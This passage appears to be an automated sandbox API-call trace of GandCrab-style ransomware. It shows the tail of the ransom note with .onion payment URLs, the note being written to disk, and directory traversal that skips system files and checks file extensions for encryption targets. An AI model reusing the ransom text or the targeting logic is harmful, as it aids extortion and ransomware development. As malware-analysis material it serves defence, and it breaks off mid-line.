http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.517] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.517] CloseHandle (hObject=0x4e0) returned 1 [0052.517] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.518] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned 62 [0052.518] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*" [0052.518] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588de0 [0052.518] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.518] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.518] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.518] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.518] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.518] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0052.518] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0052.518] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="desktop.ini" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini" [0052.518] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.518] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73 [0052.518] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73 [0052.518] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73 [0052.518] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73 [0052.518] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0052.518] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.518] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.518] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.518] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.518] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt" [0052.519] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.519] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 78 [0052.519] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 78 [0052.519] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 78 [0052.519] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 78 [0052.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.519] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.519] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.519] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.519] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.519] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0 [0052.519] FindClose (in: hFindFile=0x588b20 | out: hFindFile=0x588b20) returned 1 [0052.519] FindNextFileW (in: hFindFile=0x5889e0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0052.520] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0052.520] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0052.520] lstrcatW (in: lpString1="C:\\", lpString2="Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0052.520] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0052.520] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.520] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.520] lstrlenW (lpString="C:\\Boot\\") returned 8 [0052.520] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="*" | out: lpString1="C:\\Boot\\*") returned="C:\\Boot\\*" [0052.520] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0x588760 [0052.520] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.520] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.521] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.521] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.521] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.521] lstrcmpW (lpString1="BCD", lpString2=".") returned 1 [0052.521] lstrcmpW (lpString1="BCD", lpString2="..") returned 1 [0052.521] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD" | out: lpString1="C:\\Boot\\BCD") returned="C:\\Boot\\BCD" [0052.521] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0052.521] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.521] lstrcmpW (lpString1="BCD.LOG", lpString2=".") returned 1 [0052.521] lstrcmpW (lpString1="BCD.LOG", lpString2="..") returned 1 [0052.521] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG" | out: lpString1="C:\\Boot\\BCD.LOG") returned="C:\\Boot\\BCD.LOG" [0052.521] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0052.521] lstrcmpW (lpString1=".LOG", lpString2=".sql") returned -1 [0052.521] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.521] lstrcmpW (lpString1="BCD.LOG1", lpString2=".") returned 1 [0052.521] lstrcmpW (lpString1="BCD.LOG1", lpString2="..") returned 1 [0052.521] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG1" | out: lpString1="C:\\Boot\\BCD.LOG1") returned="C:\\Boot\\BCD.LOG1" [0052.521] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0052.521] lstrcmpW (lpString1=".LOG1", lpString2=".sql") returned -1 [0052.521] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.521] lstrcmpW (lpString1="BCD.LOG2", lpString2=".") returned 1 [0052.521] lstrcmpW (lpString1="BCD.LOG2", lpString2="..") returned 1 [0052.521] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG2" | out: lpString1="C:\\Boot\\BCD.LOG2") returned="C:\\Boot\\BCD.LOG2" [0052.521] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0052.522] lstrcmpW (lpString1=".LOG2", lpString2=".sql") returned -1 [0052.522] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.522] lstrcmpW (lpString1="bg-BG", lpString2=".") returned 1 [0052.522] lstrcmpW (lpString1="bg-BG", lpString2="..") returned 1 [0052.522] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="bg-BG" | out: lpString1="C:\\Boot\\bg-BG") returned="C:\\Boot\\bg-BG" [0052.522] lstrlenW (lpString="C:\\Boot\\bg-BG") returned 13 [0052.522] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.522] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2=".") returned 1 [0052.522] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2="..") returned 1 [0052.522] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BOOTSTAT.DAT" | out: lpString1="C:\\Boot\\BOOTSTAT.DAT") returned="C:\\Boot\\BOOTSTAT.DAT" [0052.522] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0052.522] lstrcmpW (lpString1=".DAT", lpString2=".sql") returned -1 [0052.522] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.522] lstrcmpW (lpString1="bootvhd.dll", lpString2=".") returned 1 [0052.522] lstrcmpW (lpString1="bootvhd.dll", lpString2="..") returned 1 [0052.522] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="bootvhd.dll" | out: lpString1="C:\\Boot\\bootvhd.dll") returned="C:\\Boot\\bootvhd.dll" [0052.522] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0052.522] lstrcmpW (lpString1=".dll", lpString2=".sql") returned -1 [0052.522] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.522] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1 [0052.522] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1 [0052.522] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="cs-CZ" | out: lpString1="C:\\Boot\\cs-CZ") returned="C:\\Boot\\cs-CZ" [0052.522] lstrlenW (lpString="C:\\Boot\\cs-CZ") returned 13 [0052.522] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.522] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1 [0052.522] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1 [0052.522] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="da-DK" | out: lpString1="C:\\Boot\\da-DK") returned="C:\\Boot\\da-DK" [0052.522] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0052.522] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.522] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1 [0052.522] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1 [0052.522] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="de-DE" | out: lpString1="C:\\Boot\\de-DE") returned="C:\\Boot\\de-DE" [0052.522] lstrlenW (lpString="C:\\Boot\\de-DE") returned 13 [0052.522] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.522] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1 [0052.522] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1 [0052.522] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="el-GR" | out: lpString1="C:\\Boot\\el-GR") returned="C:\\Boot\\el-GR" [0052.522] lstrlenW (lpString="C:\\Boot\\el-GR") returned 13 [0052.522] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.522] lstrcmpW (lpString1="en-GB", lpString2=".") returned 1 [0052.522] lstrcmpW (lpString1="en-GB", lpString2="..") returned 1 [0052.522] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="en-GB" | out: lpString1="C:\\Boot\\en-GB") returned="C:\\Boot\\en-GB" [0052.522] lstrlenW (lpString="C:\\Boot\\en-GB") returned 13 [0052.522] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.522] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0052.522] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0052.522] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="en-US" | out: lpString1="C:\\Boot\\en-US") returned="C:\\Boot\\en-US" [0052.522] lstrlenW (lpString="C:\\Boot\\en-US") returned 13 [0052.522] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.522] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1 [0052.522] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1 [0052.522] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="es-ES" | out: lpString1="C:\\Boot\\es-ES") returned="C:\\Boot\\es-ES" [0052.522] lstrlenW (lpString="C:\\Boot\\es-ES") returned 13 [0052.522] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.522] lstrcmpW (lpString1="es-MX", lpString2=".") returned 1 [0052.522] lstrcmpW (lpString1="es-MX", lpString2="..") returned 1 [0052.522] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="es-MX" | out: lpString1="C:\\Boot\\es-MX") returned="C:\\Boot\\es-MX" [0052.522] lstrlenW (lpString="C:\\Boot\\es-MX") returned 13 [0052.522] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.522] lstrcmpW (lpString1="et-EE", lpString2=".") returned 1 [0052.523] lstrcmpW (lpString1="et-EE", lpString2="..") returned 1 [0052.523] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="et-EE" | out: lpString1="C:\\Boot\\et-EE") returned="C:\\Boot\\et-EE" [0052.523] lstrlenW (lpString="C:\\Boot\\et-EE") returned 13 [0052.523] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.523] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1 [0052.523] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1 [0052.523] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fi-FI" | out: lpString1="C:\\Boot\\fi-FI") returned="C:\\Boot\\fi-FI" [0052.523] lstrlenW (lpString="C:\\Boot\\fi-FI") returned 13 [0052.523] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.523] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1 [0052.523] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1 [0052.523] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="Fonts" | out: lpString1="C:\\Boot\\Fonts") returned="C:\\Boot\\Fonts" [0052.523] lstrlenW (lpString="C:\\Boot\\Fonts") returned 13 [0052.523] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.523] lstrcmpW (lpString1="fr-CA", lpString2=".") returned 1 [0052.523] lstrcmpW (lpString1="fr-CA", lpString2="..") returned 1 [0052.523] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fr-CA" | out: lpString1="C:\\Boot\\fr-CA") returned="C:\\Boot\\fr-CA" [0052.523] lstrlenW (lpString="C:\\Boot\\fr-CA") returned 13 [0052.523] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.523] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1 [0052.523] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1 [0052.523] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fr-FR" | out: lpString1="C:\\Boot\\fr-FR") returned="C:\\Boot\\fr-FR" [0052.523] lstrlenW (lpString="C:\\Boot\\fr-FR") returned 13 [0052.523] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.523] lstrcmpW (lpString1="hr-HR", lpString2=".") returned 1 [0052.523] lstrcmpW (lpString1="hr-HR", lpString2="..") returned 1 [0052.523] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="hr-HR" | out: lpString1="C:\\Boot\\hr-HR") returned="C:\\Boot\\hr-HR" [0052.523] lstrlenW (lpString="C:\\Boot\\hr-HR") returned 13 [0052.523] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.523] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1 [0052.523] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1 [0052.523] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="hu-HU" | out: lpString1="C:\\Boot\\hu-HU") returned="C:\\Boot\\hu-HU" [0052.523] lstrlenW (lpString="C:\\Boot\\hu-HU") returned 13 [0052.523] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.523] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1 [0052.523] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1 [0052.523] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="it-IT" | out: lpString1="C:\\Boot\\it-IT") returned="C:\\Boot\\it-IT" [0052.523] lstrlenW (lpString="C:\\Boot\\it-IT") returned 13 [0052.523] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.523] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1 [0052.523] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1 [0052.523] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ja-JP" | out: lpString1="C:\\Boot\\ja-JP") returned="C:\\Boot\\ja-JP" [0052.523] lstrlenW (lpString="C:\\Boot\\ja-JP") returned 13 [0052.523] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.523] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1 [0052.523] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1 [0052.523] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ko-KR" | out: lpString1="C:\\Boot\\ko-KR") returned="C:\\Boot\\ko-KR" [0052.523] lstrlenW (lpString="C:\\Boot\\ko-KR") returned 13 [0052.523] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.523] lstrcmpW (lpString1="lt-LT", lpString2=".") returned 1 [0052.523] lstrcmpW (lpString1="lt-LT", lpString2="..") returned 1 [0052.523] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="lt-LT" | out: lpString1="C:\\Boot\\lt-LT") returned="C:\\Boot\\lt-LT" [0052.523] lstrlenW (lpString="C:\\Boot\\lt-LT") returned 13 [0052.523] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.523] lstrcmpW (lpString1="lv-LV", lpString2=".") returned 1 [0052.523] lstrcmpW (lpString1="lv-LV", lpString2="..") returned 1 [0052.523] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="lv-LV" | out: lpString1="C:\\Boot\\lv-LV") returned="C:\\Boot\\lv-LV" [0052.523] lstrlenW (lpString="C:\\Boot\\lv-LV") returned 13 [0052.523] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.524] lstrcmpW (lpString1="memtest.exe", lpString2=".") returned 1 [0052.524] lstrcmpW (lpString1="memtest.exe", lpString2="..") returned 1 [0052.524] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="memtest.exe" | out: lpString1="C:\\Boot\\memtest.exe") returned="C:\\Boot\\memtest.exe" [0052.524] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0052.524] lstrcmpW (lpString1=".exe", lpString2=".sql") returned -1 [0052.524] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.524] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1 [0052.524] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1 [0052.524] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="nb-NO" | out: lpString1="C:\\Boot\\nb-NO") returned="C:\\Boot\\nb-NO" [0052.524] lstrlenW (lpString="C:\\Boot\\nb-NO") returned 13 [0052.524] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.524] lstrcmpW (lpString1="nl-NL", lpString2=".") returned 1 [0052.524] lstrcmpW (lpString1="nl-NL", lpString2="..") returned 1 [0052.524] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="nl-NL" | out: lpString1="C:\\Boot\\nl-NL") returned="C:\\Boot\\nl-NL" [0052.524] lstrlenW (lpString="C:\\Boot\\nl-NL") returned 13 [0052.524] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.524] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1 [0052.524] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1 [0052.524] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pl-PL" | out: lpString1="C:\\Boot\\pl-PL") returned="C:\\Boot\\pl-PL" [0052.524] lstrlenW (lpString="C:\\Boot\\pl-PL") returned 13 [0052.524] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.524] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1 [0052.524] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1 [0052.524] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pt-BR" | out: lpString1="C:\\Boot\\pt-BR") returned="C:\\Boot\\pt-BR" [0052.524] lstrlenW (lpString="C:\\Boot\\pt-BR") returned 13 [0052.524] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.524] lstrcmpW (lpString1="pt-PT", lpString2=".") returned 1 [0052.524] lstrcmpW (lpString1="pt-PT", lpString2="..") returned 1 [0052.524] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pt-PT" | out: lpString1="C:\\Boot\\pt-PT") returned="C:\\Boot\\pt-PT" [0052.524] lstrlenW (lpString="C:\\Boot\\pt-PT") returned 13 [0052.524] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.524] lstrcmpW (lpString1="qps-ploc", lpString2=".") returned 1 [0052.524] lstrcmpW (lpString1="qps-ploc", lpString2="..") returned 1 [0052.524] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="qps-ploc" | out: lpString1="C:\\Boot\\qps-ploc") returned="C:\\Boot\\qps-ploc" [0052.524] lstrlenW (lpString="C:\\Boot\\qps-ploc") returned 16 [0052.524] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.524] lstrcmpW (lpString1="Resources", lpString2=".") returned 1 [0052.524] lstrcmpW (lpString1="Resources", lpString2="..") returned 1 [0052.524] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="Resources" | out: lpString1="C:\\Boot\\Resources") returned="C:\\Boot\\Resources" [0052.524] lstrlenW (lpString="C:\\Boot\\Resources") returned 17 [0052.524] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.524] lstrcmpW (lpString1="ro-RO", lpString2=".") returned 1 [0052.524] lstrcmpW (lpString1="ro-RO", lpString2="..") returned 1 [0052.524] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ro-RO" | out: lpString1="C:\\Boot\\ro-RO") returned="C:\\Boot\\ro-RO" [0052.524] lstrlenW (lpString="C:\\Boot\\ro-RO") returned 13 [0052.524] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.524] lstrcmpW (lpString1="ru-RU", lpString2=".") returned 1 [0052.524] lstrcmpW (lpString1="ru-RU", lpString2="..") returned 1 [0052.524] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ru-RU" | out: lpString1="C:\\Boot\\ru-RU") returned="C:\\Boot\\ru-RU" [0052.524] lstrlenW (lpString="C:\\Boot\\ru-RU") returned 13 [0052.524] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.524] lstrcmpW (lpString1="sk-SK", lpString2=".") returned 1 [0052.524] lstrcmpW (lpString1="sk-SK", lpString2="..") returned 1 [0052.524] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sk-SK" | out: lpString1="C:\\Boot\\sk-SK") returned="C:\\Boot\\sk-SK" [0052.524] lstrlenW (lpString="C:\\Boot\\sk-SK") returned 13 [0052.524] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.524] lstrcmpW (lpString1="sl-SI", lpString2=".") returned 1 [0052.525] lstrcmpW (lpString1="sl-SI", lpString2="..") returned 1 [0052.525] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sl-SI" | out: lpString1="C:\\Boot\\sl-SI") returned="C:\\Boot\\sl-SI" [0052.525] lstrlenW (lpString="C:\\Boot\\sl-SI") returned 13 [0052.525] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.525] lstrcmpW (lpString1="sr-Latn-CS", lpString2=".") returned 1 [0052.525] lstrcmpW (lpString1="sr-Latn-CS", lpString2="..") returned 1 [0052.525] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sr-Latn-CS" | out: lpString1="C:\\Boot\\sr-Latn-CS") returned="C:\\Boot\\sr-Latn-CS" [0052.525] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS") returned 18 [0052.525] FindNextFileW (in: 